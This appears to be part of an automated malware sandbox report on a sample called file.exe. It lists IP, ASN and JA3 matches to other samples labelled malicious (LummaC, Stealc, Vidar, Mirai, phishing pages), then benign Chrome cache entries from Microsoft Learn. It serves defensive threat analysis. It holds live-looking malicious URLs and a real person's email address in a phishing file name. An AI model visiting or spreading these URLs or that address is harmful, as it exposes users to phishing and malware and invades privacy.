s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.67
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	52.173.151.229
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	13.72.17.185
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.154.6.220
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	20.9.165.215
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	20.80.21.66
	botx.mips.elf	Get hash	malicious	Mirai	Browse	51.111.243.119
	https://assets-usa.mkt.dynamics.com/1a297cac-619e-ef11-8a66-6045bd003e3a/digitalassets/standaloneforms/8dfebec4-86a3-ef11-8a6a-6045bd05837e	Get hash	malicious	Unknown	Browse	52.146.76.30
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	52.173.151.229
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	13.72.17.185
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.154.6.220
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	20.9.165.215
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	20.80.21.66
	botx.mips.elf	Get hash	malicious	Mirai	Browse	51.111.243.119
	https://assets-usa.mkt.dynamics.com/1a297cac-619e-ef11-8a66-6045bd003e3a/digitalassets/standaloneforms/8dfebec4-86a3-ef11-8a6a-6045bd05837e	Get hash	malicious	Unknown	Browse	52.146.76.30
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	172.67.19.24
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://its.publimpres.com/northampton.edu/&adfs/ls/client-request-id=7c724&wa=wsignin10.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://ky.gurativez.ru/hH7_CLfW8B06uDZbFmAiLw/	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://assets-usa.mkt.dynamics.com/1a297cac-619e-ef11-8a66-6045bd003e3a/digitalassets/standaloneforms/8dfebec4-86a3-ef11-8a6a-6045bd05837e	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
